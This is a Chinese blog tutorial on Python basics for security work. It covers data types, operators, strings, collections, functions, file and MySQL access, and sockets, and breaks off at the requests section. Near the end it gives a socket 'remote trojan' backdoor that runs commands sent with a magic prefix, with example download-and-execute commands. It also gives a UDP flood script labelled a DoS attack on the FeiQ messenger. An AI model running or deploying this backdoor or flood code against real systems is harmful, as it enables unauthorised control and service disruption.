Python安全基础

最新推荐文章于 2022-11-01 12:24:00 发布
最新推荐文章于 2022-11-01 12:24:00 发布
阅读量761 收藏 2
点赞数 1
CC 4.0 BY-SA版权
分类专栏： 安全 文章标签： python 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/bossDDYY/article/details/126561134

目标

  • 利用Python完成安全脚本开发，提高工作效率
  • 利用Python进行自动化运维、日志分析等
  • 针对特定的服务器环境，用于开发安全测试工具
  • 使用python 进行安全基线检查
  • 使用Python进行资产收集、资产管理、信息收集

Python特点

  • 跨平台+可移植性高
  • 丰富的第三方库，开发效率高
  • C语言开发的脚本语言，整体运行效率较高
  • 开源项目、学习资源非常丰富

Python基础

数据类型

  • 数字
  • 字符串：str
  • 布尔：bool
  • 列表：list
  • 集合：dir
  • 字典：set
  • 元组：tuple
  • 对象：class
  • 空类型：none

命名规范

1.变量名区分大小写；

2.严禁使用关键字作为变量名；

3.确定自己的命名风格，不可随意变换；

4.命名应该科学严谨，切勿太长或者表达比较模糊；

5.命名中若使用特殊约定或缩写，则要有注释说明；

6.尽量不要使用中文字符和纯数学字符，避免编码错误；

7.名字由英文字母、数字、下划线组成，如abc，abc13和_abc等；

8.要清晰、明了，有明确含义，同时使用完整的单词或大家基本可以理解的缩写；

9.同一软件产品内，应规划好接口部分(变量、结构、函数及常量)的命名，防止编译、链接时产生冲突。

输入输出

输入

input

输出

print(value…,sep=‘x’,end=‘x’)

  • value：待输出的值
  • sep：输出多个值，值之间的分隔符，默认是空格
  • end：输出完成后结尾符号。默认为\n

数值

python中多个变量值相同的时候，该值在内存中地址相同(a b c 在内存中的地址相同)，当a的值改变时，a的地址变了，b,c的地址没有变

不可变对象修改值的本质：修改a的值其实并不是直接修改a对应内存空间的值（否则b c的值也会改变），而是把新值放入到新的内存中，a指向新开辟的内存

**python内存管理：**如果一个值没有任何变量指向，则Python自动将其删除，因此，一般Python程序员不需要太多考虑内存管理的问题（这就是Python与C语言最大的区别，自动内存回收机制！），但显式使用del命令删除不再使用的值，仍然是一个优秀程序员需要具备的基本素养！

运算符

算术运算符

运算符描述实例
+加 - 两个对象相加a + b 输出结果 30
-减 - 得到负数或是一个数减去另一个数a - b 输出结果 -10
*乘 - 两个数相乘或是返回一个被重复若干次的字符串a * b 输出结果 200
/除 - x除以yb / a 输出结果 2
%取模 - 返回除法的余数b % a 输出结果 0
**幂 - 返回x的y次幂a**b 为10的20次方， 输出结果 100000000000000000000
//取整除 - 返回商的整数部分（向下取整）>>> 9//2 4 >>> -9//2 -5

比较运算符

运算符描述实例
==等于 - 比较对象是否相等(a == b) 返回 False。
!=不等于 - 比较两个对象是否不相等(a != b) 返回 True。
<>不等于 - 比较两个对象是否不相等。python3 已废弃。(a <> b) 返回 True。这个运算符类似 != 。
>大于 - 返回x是否大于y(a > b) 返回 False。
<小于 - 返回x是否小于y。所有比较运算符返回1表示真，返回0表示假。这分别与特殊的变量 True 和 False 等价。(a < b) 返回 True。
>=大于等于 - 返回x是否大于等于y。(a >= b) 返回 False。
<=小于等于 - 返回x是否小于等于y。(a <= b) 返回 True。

赋值运算符

运算符描述实例
=简单的赋值运算符c = a + b 将 a + b 的运算结果赋值为 c
+=加法赋值运算符c += a 等效于 c = c + a
-=减法赋值运算符c -= a 等效于 c = c - a
*=乘法赋值运算符c *= a 等效于 c = c * a
/=除法赋值运算符c /= a 等效于 c = c / a
%=取模赋值运算符c %= a 等效于 c = c % a
**=幂赋值运算符c **= a 等效于 c = c ** a
//=取整除赋值运算符c //= a 等效于 c = c // a

位运算符

运算符描述实例
&按位与运算符：参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0(a & b) 输出结果 12 ，二进制解释： 0000 1100
|按位或运算符：只要对应的二个二进位有一个为1时，结果位就为1。(a | b) 输出结果 61 ，二进制解释： 0011 1101
^按位异或运算符：当两对应的二进位相异时，结果为1(a ^ b) 输出结果 49 ，二进制解释： 0011 0001
~按位取反运算符：对数据的每个二进制位取反,即把1变为0,把0变为1 。~x 类似于 -x-1(~a ) 输出结果 -61 ，二进制解释： 1100 0011，在一个有符号二进制数的补码形式。
<<左移动运算符：运算数的各二进位全部左移若干位，由 << 右边的数字指定了移动的位数，高位丢弃，低位补0。相当于×a << 2 输出结果 240 ，二进制解释： 1111 0000
>>右移动运算符：把">>"左边的运算数的各二进位全部右移若干位，>> 右边的数字指定了移动的位数 相当于÷a >> 2 输出结果 15 ，二进制解释： 0000 1111

逻辑运算符

运算符逻辑表达式描述实例
andx and y布尔"与" - 如果 x 为 False，x and y 返回 False，否则它返回 y 的计算值。(a and b) 返回 20。
orx or y布尔"或" - 如果 x 是非 0，它返回 x 的计算值，否则它返回 y 的计算值。(a or b) 返回 10。
notnot x布尔"非" - 如果 x 为 True，返回 False 。如果 x 为 False，它返回 True。not(a and b) 返回 False

成员运算符

运算符描述实例
in如果在指定的序列中找到值返回 True，否则返回 False。x 在 y 序列中 , 如果 x 在 y 序列中返回 True。
not in如果在指定的序列中没有找到值返回 True，否则返回 False。x 不在 y 序列中 , 如果 x 不在 y 序列中返回 True。

身份运算符

运算符描述实例
isis 是判断两个标识符是不是引用自一个对象x is y, 类似 id(x) == id(y) , 如果引用的是同一个对象则返回 True，否则返回 False运算符优先级
is notis not 是判断两个标识符是不是引用自不同对象x is not y ， 类似 id(a) != id(b)。如果引用的不是同一个对象则返回结果 True，否则返回 False。

运算符优先级

运算符描述
**指数 (最高优先级)
~ + -按位翻转, 一元加号和减号 (最后两个的方法名为 +@ 和 -@)
* / % //乘，除，取模和取整除
+ -加法减法
>> <<右移，左移运算符
&位 ‘AND’
^ |位运算符
<= < > >=比较运算符
<> == !=等于运算符
= %= /= //= -= += *= **=赋值运算符
is is not身份运算符
in not in成员运算符
not and or逻辑运算符

类型

  • 整型(Int) - 通常被称为是整型或整数，是正或负整数，不带小数点
  • 长整型(long integers) - 无限大小的整数，整数最后是一个大写或小写的L
  • 浮点型(floating point real values) - 浮点型由整数部分与小数部分组成，浮点型也可以使用科学计数法表示（2.5e2 = 2.5 x 10^2 = 250）
  • 复数(complex numbers) - 复数由实数部分和虚数部分构成，可以用a + bj,或者complex(a,b)表示， 复数的实部a和虚部b都是浮点型

类型转化

int(x ,base )         将x转换为一个整数  
long(x ,base )        将x转换为一个长整数  
float(x )               将x转换到一个浮点数  
complex(real ,imag )  创建一个复数  
str(x )                 将对象 x 转换为字符串  
repr(x )                将对象 x 转换为表达式字符串  
eval(str )              用来计算在字符串中的有效Python表达式,并返回一个对象  
tuple(s )               将序列 s 转换为一个元组  
list(s )                将序列 s 转换为一个列表  
chr(x )                 将一个整数转换为一个字符  
unichr(x )              将一个整数转换为Unicode字符  
ord(x )                 将一个字符转换为它的整数值  
hex(x )                 将一个整数转换为一个十六进制字符串  
oct(x )                 将一个整数转换为一个八进制字符串

数学函数和三角函数要导入math模块

数学函数

函数返回值 ( 描述 )
abs(x)返回数字的绝对值，如abs(-10) 返回 10
ceil(x)返回数字的上入整数，如math.ceil(4.1) 返回 5
cmp(x, y)如果 x < y 返回 -1, 如果 x == y 返回 0, 如果 x > y 返回 1
exp(x)返回e的x次幂(ex),如math.exp(1) 返回2.718281828459045
fabs(x)返回数字的绝对值，如math.fabs(-10) 返回10.0
floor(x)返回数字的下舍整数，如math.floor(4.9)返回 4
log(x)如math.log(math.e)返回1.0,math.log(100,10)返回2.0
log10(x)返回以10为基数的x的对数，如math.log10(100)返回 2.0
max(x1, x2,…)返回给定参数的最大值，参数可以为序列。
min(x1, x2,…)返回给定参数的最小值，参数可以为序列。
modf(x)返回x的整数部分与小数部分，两部分的数值符号与x相同，整数部分以浮点型表示。
pow(x, y)x**y 运算后的值。
round(x ,[n])返回浮点数x的四舍五入值，如给出n值，则代表舍入到小数点后的位数。
sqrt(x)返回数字x的平方根

三角函数

acos(x)返回x的反余弦弧度值。
asin(x)返回x的反正弦弧度值。
atan(x)返回x的反正切弧度值。
atan2(y, x)返回给定的 X 及 Y 坐标值的反正切值。
cos(x)返回x的弧度的余弦值。
hypot(x, y)返回欧几里德范数 sqrt(xx + yy)。
sin(x)返回的x弧度的正弦值。
tan(x)返回x弧度的正切值。
degrees(x)将弧度转换为角度,如degrees(math.pi/2) ， 返回90.0
radians(x)将角度转换为弧度

随机函数

随机数可以用于数学，游戏，安全等领域中，还经常被嵌入到算法中，用以提高算法效率，并提高程序的安全性

函数描述
choice(seq)从序列的元素中随机挑选一个元素，比如random.choice(range(10))，从0到9中随机挑选一个整数
randrange ([start],stop ,[step])从指定范围内[start,stop)，按指定基数递增的集合中获取一个随机数，基数默认值为 1
random()随机生成一个实数，它在[0,1)范围内
seed(x)改变随机数生成器的种子seed。Python会帮你选择seed。
shuffle(lst)将序列的所有元素随机排序
uniform(x, y)随机生成一个实数，它在[x,y]范围内
randint(x,y)随机生成一个整数，它在[x,y]范围内。

字符串

转义字符

转义字符描述
\(在行尾时)续行符
\\反斜杠符号
\’单引号
\"双引号
\a响铃
\b退格(Backspace)
\e转义
\000空
\n换行
\v纵向制表符
\t横向制表符
\r回车
\f换页
\oyy八进制数，y 代表 0~7 的字符，例如：\012 代表换行。
\xyy十六进制数，以 \x 开头，yy代表的字符，例如：\x0a代表换行
\other其它的字符以普通格式输出

字符串运算符

下表实例变量 a 值为字符串 “Hello”，b 变量值为 “Python”：

操作符描述实例
+字符串连接>>>a + b ‘HelloPython’
*重复输出字符串>>>a * 2 ‘HelloHello’
[]通过索引获取字符串中字符>>>a[1] ‘e’
[ : ]截取字符串中的一部分>>>a[1:4] ‘ell’
in成员运算符 - 如果字符串中包含给定的字符返回 True>>>“H” in a True
not in成员运算符 - 如果字符串中不包含给定的字符返回 True>>>“M” not in a True
r/R原始字符串 - 原始字符串：所有的字符串都是直接按照字面的意思来使用，没有转义特殊或不能打印的字符。 原始字符串除在字符串的第一个引号前加上字母"r"（可以大小写）以外，与普通字符串有着几乎完全相同的语法。>>>print r’\n’ \n
>>> print R’\n’ \n
a = "Hello"
b = "Python"

print "a + b 输出结果：", a + b 
print "a * 2 输出结果：", a * 2 
print "a[1] 输出结果：", a[1] 
print "a[1:4] 输出结果：", a[1:4] 

if( "H" in a) :
    print "H 在变量 a 中" 
else :
    print "H 不在变量 a 中" 

if( "M" not in a) :
    print "M 不在变量 a 中" 
else :
    print "M 在变量 a 中"

print r'\n'
print R'\n'

# 运算结果
a + b 输出结果： HelloPython
a * 2 输出结果： HelloHello
a[1] 输出结果： e
a[1:4] 输出结果： ell
H 在变量 a 中
M 不在变量 a 中
\n
\n

字符串格式化

  • 占位符

    • '''
语法：%[-w.p]type
    -，表示左对齐   默认右对齐
    w，宽度
    p，精度
    type，表示数据类型(d-整数  f-浮点数   s-字符串)
'''
weight=50.598
print("%.2f"%weight)

  • format

    • '''
语法：'{[:w.pf]}'.format(value)
'''
weight=50.598
print("{[.2f]}".format(weight))

  • f-string

    • '''
语法：f'{[var:w.pf[]}'
'''
weight=50.598
print(f"{weight:.2f}")

切片

s = "hellopython!"
'''
切片： string[start:stop:step]  开始:结束:步长
     h   e   l   l   o
索引: 0   1   2   3   4
逆   -1  -2  -3  -4  -5
'''
print(s[1:])  # 索引为1到结尾
print(s[:5])  # 开头到索引为4
print(s[::-1])  # 第三个参数是步长，从0+-1 -> 0+-1+-1这个意思是反转字符串
print(s[-1])  # 最后一个
print(s[::-3])  # -1 -4 -7

内置函数

常用

upper：所有字母转化为大写，不修改源字符串

lower：所有字母转化为小写，不修改源字符串

title：每个单词首字母转化为大写，不修改源字符串

string.count(str,beg=0,end=len(string))：返回 str 在 string 里面出现的次数，如果 beg 或者 end 指定则返回指定范围内 str 出现的次数

string.startswith(obj, beg=0,end=len(string))：检查字符串是否是以 obj 开头，是则返回 True，否则返回 False。如果beg 和 end 指定值，则在指定范围内检查

string.endswith(obj, beg=0, end=len(string))：检查字符串是否以 obj 结束，如果beg 或者 end 指定则检查指定的范围内是否以 obj 结束，如果是，返回 True,否则返回 False

string.replace(str1, str2, num=string.count(str1))：把 string 中的 str1 替换成 str2,如果 num 指定，则替换不超过 num 次.

string.find(str, beg=0, end=len(string))：检测 str 是否包含在 string 中，如果 beg 和 end 指定范围，则检查是否包含在指定范围内，返回开始的索引值，找不到返回-1

string.index(str, beg=0, end=len(string))：跟find()方法一样，找不到抛出异常

string.format()：格式化字符串

string.join(seq)：以 string 作为分隔符，将 seq 中所有的元素(的字符串表示)合并为一个新的字符串

string.split(str=“”,num=string.count(str))：以 str 为分隔符切片 string，如果 num 有指定值，则仅分隔 num+1 个子字符串

string.strip([obj])：在 string 上执行 lstrip()和 rstrip()：截掉 string 左右两边的空格

string.translate(str, del=“”)：根据 str 给出的表(包含 256 个字符)转换 string 的字符,要过滤掉的字符放到 del 参数中

其余
方法描述
string.capitalize()把字符串的第一个字符大写
string.center(width)返回一个原字符串居中,并使用空格填充至长度 width 的新字符串
string.decode(encoding=‘UTF-8’, errors=‘strict’)以 encoding 指定的编码格式解码 string，如果出错默认报一个 ValueError 的 异 常 ， 除非 errors 指 定 的 是 ‘ignore’ 或 者’replace’
string.encode(encoding=‘UTF-8’, errors=‘strict’)以 encoding 指定的编码格式编码 string，如果出错默认报一个ValueError 的异常，除非 errors 指定的是’ignore’或者’replace’
string.expandtabs(tabsize=8)把字符串 string 中的 tab 符号转为空格，tab 符号默认的空格数是 8。
string.isalnum()如果 string 至少有一个字符并且所有字符都是字母或数字则返回 True,否则返回 False
string.isalpha()如果 string 至少有一个字符并且所有字符都是字母则返回 True,否则返回 False
string.isdecimal()如果 string 只包含十进制数字则返回 True 否则返回 False.
string.isdigit()如果 string 只包含数字则返回 True 否则返回 False.
string.islower()如果 string 中包含至少一个区分大小写的字符，并且所有这些(区分大小写的)字符都是小写，则返回 True，否则返回 False
string.isnumeric()如果 string 中只包含数字字符，则返回 True，否则返回 False
string.isspace()如果 string 中只包含空格，则返回 True，否则返回 False.
string.istitle()如果 string 是标题化的(见 title())则返回 True，否则返回 False
string.isupper()如果 string 中包含至少一个区分大小写的字符，并且所有这些(区分大小写的)字符都是大写，则返回 True，否则返回 False
string.ljust(width)返回一个原字符串左对齐,并使用空格填充至长度 width 的新字符串
string.lower()转换 string 中所有大写字符为小写.
string.lstrip()截掉 string 左边的空格
string.maketrans(intab, outtab)maketrans() 方法用于创建字符映射的转换表，对于接受两个参数的最简单的调用方式，第一个参数是字符串，表示需要转换的字符，第二个参数也是字符串表示转换的目标。
max(str)返回字符串 str 中最大的字母。
min(str)返回字符串 str 中最小的字母。
string.rfind(str, beg=0,end=len(string) )类似于 find() 函数，返回字符串最后一次出现的位置，如果没有匹配项则返回 -1。
string.rindex( str, beg=0,end=len(string))类似于 index()，不过是返回最后一个匹配到的子字符串的索引号。
string.rjust(width)返回一个原字符串右对齐,并使用空格填充至长度 width 的新字符串
string.rpartition(str)类似于 partition()函数,不过是从右边开始查找
string.rstrip()删除 string 字符串末尾的空格.
string.splitlines([keepends])按照行(‘\r’, ‘\r\n’, ‘\n’)分隔，返回一个包含各行作为元素的列表，如果参数 keepends 为 False，不包含换行符，如果为 True，则保留换行符。
string.swapcase()翻转 string 中的大小写
string.zfill(width)返回长度为 width 的字符串，原字符串 string 右对齐，前面填充0

列表

names=['duyun','sss','ying','xyz','xrk']
print(names[::-1]) # 切片和字符串一样
# 下标遍历   range(start,stop,step) 开始 结束 步长 [start,stop)
for i in range(len(names)):
    print(names[i])


# for...in... 取每一个元素   else循环执行完执行
for item in names:
    print(item)
else:
    print("循环完毕")

列表脚本操作符

列表对 + 和 * 的操作符与字符串相似。+ 号用于组合列表，* 号用于重复列表。

Python 表达式结果描述
len([1, 2, 3])3长度
[1, 2, 3] + [4, 5, 6][1, 2, 3, 4, 5, 6]组合
[‘Hi!’] * 4[‘Hi!’, ‘Hi!’, ‘Hi!’, ‘Hi!’]重复
3 in [1, 2, 3]True元素是否存在于列表中

列表切片

和字符串相同

列表函数

序号函数
1cmp(list1, list2) 比较两个列表的元素，list1大返回1，相等返回0，否则返回-1
2len(list) 列表元素个数
3max(list) 返回列表元素最大值
4min(list) 返回列表元素最小值
5list(seq) 将元组转换为列表

列表方法

序号方法
1list.append(obj) 在列表末尾添加新的对象
2list.count(obj) 统计某个元素在列表中出现的次数
3list.extend(seq) 在列表末尾一次性追加另一个序列中的多个值（用新列表扩展原来的列表）
4list.index(obj) 从列表中找出某个值第一个匹配项的索引位置
5list.insert(index, obj) 将对象插入列表
6list.pop([index=-1]) 根据索引移除列表的一个元素（默认最后一个元素），并且返回该元素的值
7list.remove(obj) 移除列表中某个值的第一个匹配项
8list.reverse() 反向列表中元素
9list.sort(cmp=None, key=None, reverse=False) 对原列表进行排序

元组

和列表操作差不多，但是不可修改里面的元素，可以直接修改整个元组

tup = (111) #这样不是定义的元组 如果只有一个值要这样：
tup=(111,)

字典

  • 不允许同一个键出现两次。创建时如果同一个键被赋值两次，后一个值会被记住
  • 键必须不可变，所以可以用数字，字符串或元组充当，所以用列表就不行

内置函数&方法

序号函数及描述
1cmp(dict1, dict2) 比较两个字典元素。
2len(dict) 计算字典元素个数，即键的总数。
3str(dict) 输出字典可打印的字符串表示。
4type(variable) 返回输入的变量类型，如果变量是字典就返回字典类型。
序号函数及描述
1dict.clear() 删除字典内所有元素
2dict.copy() 返回一个字典的浅复制
3dict.fromkeys(seq[, val])创建一个新字典，以序列 seq 中元素做字典的键，val 为字典所有键对应的初始值
4dict.get(key, default=None) 返回指定键的值，如果值不在字典中返回default值
5dict.has_key(key) 如果键在字典dict里返回true，否则返回false
6dict.items() 以列表返回可遍历的(键, 值) 元组数组
7dict.keys() 以列表返回一个字典所有的键
8dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中，将会添加键并将值设为default
9dict.update(dict2) 把字典dict2的键/值对更新到dict里
10dict.values() 以列表返回字典中的所有值
11[pop(key,default]) 删除字典给定键 key 所对应的值，返回值为被删除的值。key值必须给出。 否则，返回default值。
12popitem() 返回并删除字典中的最后一对键和值。
student = {"name": "张三", "age": 18, "sex": "男"}

# 查看
print(student['name'])
print(student.get("name"))

# 修改
student.update({"name":"李四","age":20})
student["name"] = "王五" #也是可以新增

# 删除
student.pop('name')

for key in student:
    print(key)

# 等于 for key in student
for key in student.keys():
    print(key)

for value in student.values():
    print(value)

# student.items() 是返回的一个元组  k,v = (value1,value2) 这个就可以对应赋值  
for k,v in student.items():
    print(k,"--",v)

a,b,c=11,22,33 # 赋值  一般都是用元组 y 列表也可以
a,b,c=(11,22,33)

函数

  • 函数确保代码的可复用性
  • 函数通常是由最小代码块构成，便于维护和调试，更加利于进行单元测试

构成

  • 函数名（必须有，同一作用范围中不允许重复）
  • 参数（可以没有）
  • 返回值（可以没有，没有的话返回null）
# 直接将函数名进行赋值或者输出
def printHello():
    print("Hello")

x = printHello
print(x) # 打印函数的内存地址
x()

# 函数名作为参数
def printHellos(p):
    p()
    print('printHellos')

printHellos(printHello)

参数种类

函数参数分为可变类型和不可变类型，其调用结果是不同的。
（1）可变类型：类似c++的引用传递，如列表、字典等。如果传递的参数是可变类型，则在函数内部对传入参数的修改会影响到外部变量。
（2）不可变类型：类似c++的值传递，如整数、字符串、元组等。如果传递的参数是不可变类型，则在函数内部对传入参数的修改不会影响到外部变量

不可变类型

def change_int(num):  # 不可变类型传递的是 值 相当于复制一份  num 和 a  的id不同（地址不同）
    num = 12

a = 5
change_int(a)
print(a) # 5

可变类型

def change_int(my_list):   # 传入的本身 引用    值的话要传递   my_list.copy()
    "修改传入的列表"
    my_list.append([1, 2, 3])
    print("函数内修改后的变量：", my_list)


my_list = [10, 20, 30]
change_int(my_list)
print("函数外变量的值：", my_list)

默认参数

def describe_student(person_name, student_age='18'):
    "函数功能：显示学生的信息"
    print("my name is ", person_name)
    print(person_name + "is" + student_age + "years old")


describe_student('Jack')
describe_student('Jack', '18')

设置默认参数时，必选参数在前，默认参数在后，否则Python语言的解释器会报错

默认参数必须指向不可变对象

不定长参数

使用**。 *参数 ** 元组

def calc(*numbers):
    sum = 0
    for n in numbers:
        sum = sum + n
    return sum


print(calc(1, 2, 3, 4))
print(calc())
num = [1, 2, 3]
print(calc(*num))# *num 告知python是不定长参数

关键字参数

**注意点是 **key ** 存放字典

关键字实参是传递参数时使用“名称–值”对的方式，在实参中将名称和值关联起来
关键字实参让开发者无需考虑函数调用中的实参顺序，清楚地指出了函数调用中各个值的用途。
关键字参数有扩展函数的功能

def test(a,b=10,*c,**d):
    print(a,b)
    print(c)
    print(d)
test(1,2,3,4,5,6,a=1,bb=2)  
# 报错，字典参数不能包含位置参数和默认值参数
test(1,2,3,4,5,6,aa=1,bb=2)

命名关键字参数

注意点要加上*号

如果要限制关键字参数的名字，可以用命名关键字参数。如果没有可变参数，命名关键字参数就必须加一个**“”**号作为特殊分隔符。如果缺少“”，Python语言解释器将无法识别位置参数和命名关键字参数。例如，若只接收age和city作为关键字参数，可以采用如下形式。

def enroll(name, gender, *, age, city):
    print(name, gender, age, city)


enroll('Jack', 'M', age='18', city='Beijing')

参数组合

注意参数定义是有顺序的。定义的顺序必须是：必选参数、默认参数、可变参数、命名关键字参数和关键字参数

def func(a, b, c=0, *args, **kw):
    print('a=', a, 'b=', b, 'c=', c, 'args=', args, 'kw=', kw)


print(func(1, 2))  
# 输出结果：a= 1 b= 2 c= 0 args= () kw= {}
print(func(1, 2, c=3))  
# 输出结果：a= 1 b= 2 c= 3 args= () kw= {}
print(func(1, 2, 3, 'a', 'b'))  
# 输出结果：a= 1 b= 2 c= 3 args= ('a', 'b') kw= {}
print(func(1, 2, 3, 'a', 'b', x=4))  
# 输出结果：a= 1 b= 2 c= 3 args= ('a', 'b') kw= {'x': 4}
args = (1, 2, 3, 4)
kw = {'x': 5}
print(func(*args, **kw))  # *args 告知python是不定长参数  **kw 告知python是不定长的关键字参数 
# 即使传入的是 *args 不定长参数 但是依然先匹配必选参数和默认参数
# 输出结果：a= 1 b= 2 c= 3 args= (4,) kw= {'x': 5}

Python进阶

模块和包

任何以.py结尾的Python文件都是模块（package），模块的名字就是文件名（不加.py），不过有时候模块的名字也可以通过模块的__name__重新指定

包是多个模块的组合。如果一个文件夹下包括多个.py文件和一个__init__.py文件（对于python2需要__init__.py），那么这个文件夹就算是一个包。init.py文件就是专门用来帮助解释器区分所在文件夹到底是普通文件夹还是python包的

import xxx
from xxx import xxx


# 在测试和执行模块函数时：
if __name__ == '__main__':
    xxx

文件读写

preview

# 文件读取
f = open("./duyun.txt", mode='r')
# content=f.read(20) # 指定读取文件的内容长度  不加参数读取文件的全部内容
# content = f.readline() # 按行读取文件内容 默认读取第一行
content = f.readlines()  # 按行读取全部文件内容并且按行保存到列表
f.close()

# 文件写入
f = open("./duyun.txt", mode='a')
f.write("都匀")
f.close()
# 以GBK编码写入
f = open("./duyun.txt", mode='a', encoding="GBK")
f.write("都大撒大撒匀")
f.close()

# CSV文件读写 逗号分隔符文件，用于表示二维表的数据结构,针对CSV python有内置的库 import csv
f = open("./users.csv")
user_list = []
line_list = f.readlines()
for i in range(1, len(line_list)):
    line = line_list[i].strip()
    username, password, phone = line.split(",")[0], line.split(",")[1], line.split(",")[2]
    user_dict = {'username': username, 'password': password, 'phone': phone}
    user_list.append(user_dict)
print(user_list)


# 引入其他的库 自己操作性少
import csv
with open("./users.csv") as f:
    # 读取遍历每一行
    csv_line = csv.reader(f)
    for item in csv_line:
        print(item)

    # 读取结果强制转为列表或者字典
    csv_line = csv.reader(f)
    print(list(csv_line))

    # 读取结果强制转为字典
    csv_dict = csv.DictReader(f)
    for i in csv_dict:
        print(dict(i))

f.tell() # 文件当前读取到的位置
f.seek() # 设置文件指针读取的位置

在这里插入图片描述

操作mysql

  • 建立与数据库连接

  • 执行sql语句

  • 关闭数据库连接

python操作数据库是python发送能够与数据库直接通信的数据包，并获取数据库服务器的响应结果。是一种典型的基于TCP/IP的通信过程，要求必须满足数据库服务器的数据包规则

import pymysql

# 建立连接
conn = pymysql.connect(host="localhost",user="root",password="duyun",database="learn",charset="utf8")

# 操作数据库 要先定义一个游标对象
cursor = conn.cursor()
# 查询操作
sql1="select * from users"
cursor.execute(sql1)
sql2 = "update users set password = 'ying' where id = 2"
cursor.execute(sql2)
conn.commit()
# 更新操作：必须要确认提交 两种方式：
    # 建立连接的时候设置 autocommit = true
    # 显示提交 conn.commit()

# 获取结果集(元组) fentchall：全部  fentchone：一个  fentchmay：
result=cursor.fetchall()
print(result)

# 关闭连接
conn.close()
# 结果 ((1, '杜赟', 'duyun'), (2, 'duy', 'un'))



# 将游标对象定义为 字典 类型，以列表+字典的格式获取结果集
import pymysql
from pymysql.cursors import DictCursor

conn=pymysql.connect(host="localhost",user="root",password='duyun',database="learn")
cursor=conn.cursor(DictCursor)
sql = "select * from users"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
# [{'id': 1, 'username': '杜赟', 'password': 'duyun'}, {'id': 2, 'username': 'duy', 'password': 'un'}]

异常处理

"""
try内部的代码出错会执行except的内容，最终都会执行finally的内容
except 后面可以跟具体的错误类型，针对具体的错误类型
"""
try:
    xxx  
except:
    xxx
finally:
    xxx

操作JSON

import json
json.dumps() # 序列化 转化为字符串
json.loads() # 反序列化 json字符串反序列化为python的对象


json.dump # 存入文件
json.load

socket–TCP/IP协议簇

socket 针对 TCP/IP协议簇 进行的程序封装，在Windows/Linux均有这样底层模块

socket基础

import socket
# 客户端连接
def test_client():
    # 建立与服务器的连接
    s = socket.socket()  # 类实例的方法，默认使用TCP协议
    s.connect(('127.0.0.1', 21))  # 元组传参 服务器IP和port
    # 传输数据（收发数据包）
    content = "hello duyun 颖"
    s.send(content.encode())  # 转化为字节类型
    # 关闭连接
    s.close()
test_client()

# 定义服务器端
def server_client():
    s = socket.socket()
    s.bind(('192.168.10.25', 555))  # 绑定服务器IP地址和端口号
    s.listen()  # 保持对端口的监听
    while True:
        chanel, client = s.accept()  # 接受来自客户端的数据包，返回元组
        message = chanel.recv(1024) # 接受消息（字节类型）
        print(message.decode())
server_client()


# 简易的有回复的server和client
# server.py
import socket
s = socket.socket()  # 默认TCP
# s.bind(('127.0.0.1',5555)) # 只允许本设备（绑定的IP）访问
s.bind(('0.0.0.0', 5555))  # 允许所有的设备访问
s.listen()  # 对5555端口进行监听
chanel, client = s.accept() # 只能与一个客户端连接，无法接受多个客户端
while True:
    # 使用一次后 此时accept()会进入阻塞状态,客户端只能收到一次服务器的响应，
    # 一个客户端多次发送消息，但二次或多次执行accept()是等待下一个客户端的连接所以造成了阻塞
    # 多线程解决或者循环之外解决
    # chanel, client = s.accept()
    receive = chanel.recv(1024).decode()  # 接受的消息
    print(f"收到消息:{receive}")
    reply = receive.replace('吗？', '!')  # 回复的消息
    chanel.send(reply.encode())

# client.py
import socket 
s = socket.socket()
s.connect(('127.0.0.1', 5555))
while True:
    message = input('请输入消息：')
    s.send(message.encode())
    receive = s.recv(1024).decode()
    print(f"服务器回复:{receive}")

实现远程木马

损人利己

# server
# 远程木马核心思路：客户端发送一个特殊字符串，里面包含要执行的命令
def attack_talk():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 7777))
        s.listen()
        chanel, client = s.accept()
        while True:
            receive = chanel.recv(10240).decode()
            if receive.startswith("==#==,"):
                command = receive.split(",")[-1]
                reply = os.popen(command).read()
                chanel.send(reply.encode())
            else:
                print(f"收到的消息:{receive}")
                reply = receive.replace("吗？", "!")
                chanel.send(reply.encode())
    except:
        s.close()
    attack_talk()

# client
import socket
s = socket.socket()
# 192.168.142.130
s.connect(('127.0.0.1', 7777))
# s.connect(('192.168.142.130', 7777))  # 连接虚拟机
while True:
    message = input('请输入消息：')
    s.send(message.encode())
    receive = s.recv(10240).decode()
    print(f"服务器回复:{receive}")


"""
下载文件（恶意程序）并执行
==#==,curl https://woniufile.oss-cn-hangzhou.aliyuncs.com/banner/class_time_home.png > d:\home.png
==#==,d:\xxx.exe

==#==,echo msgbox("输出的内容") >> d:\hi.vbs
==#==,d:\hi.vbs
"""

实现远程攻击

损人不利己

实验利用的是 飞秋

首先要弄清飞秋的五元组：协议规则

飞秋的协议本身是有些复杂，但是兼容于“飞鸽传书”协议，协议规则（基于UDP）

版本号:包编号:发送者姓名:发送者主机名:命令字:附加信息

import socket, time

# 模拟高频发送数据包的DOS攻击：流量泛洪
for i in range(100):  # 每次循环要从重新与飞秋建立连接，可以相当于模拟很多客户端
    # SOCK_DGRAM UDP的连接  SOCK_STREAM TCP的连接 默认
    s = socket.socket(type=socket.SOCK_DGRAM)
    s.connect(("192.168.142.131", 2425))

    # ”飞鸽传书“协议的规则
    packetId = str(time.time())
    name = 'duyun'
    host = 'myHost'
    command = str(0x00000020)
    content = 'hello!everybody'
    message = f"1.0:{packetId}:{name}:{host}:{command}:{content}"

    s.send(message.encode())

requests–HTTP

回顾HTTP

请求类型

  • GET：通过指定URL地址访问
  • POST：URL地址+请求数据，将请求数据提交给服务器
  • PUT：用于更新数据
  • DELETE：请求删除某个资源
  • ．．．．．．

响应类型

  • 1xx 信息

  • 2xx 正常

  • 3xx 重定向

  • 4xx 客户端错误

  • 5xx 服务端错误

session和cookie

  • http是无状态的

  • http协议是单次通信

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WNVdA9Ci-1661597069639)(file://F:\笔记图片\2022-08-23-20-14-36-image.png?msec=1661596924285)]

HTTP协议簇：HTTP / HTTPS / WebSocket（基于http协议的全双工通信） / HLS（音频、视频） / SOAP（Web service）

HTTP协议属于应用层的文本型协议

HTTP协议可以上传和下载任意类型文件（传输二进制文件）

HTTP协议在互联网上占比90%以上：协议相对简单容易实现 有标准的

import requests

# 发送GET请求
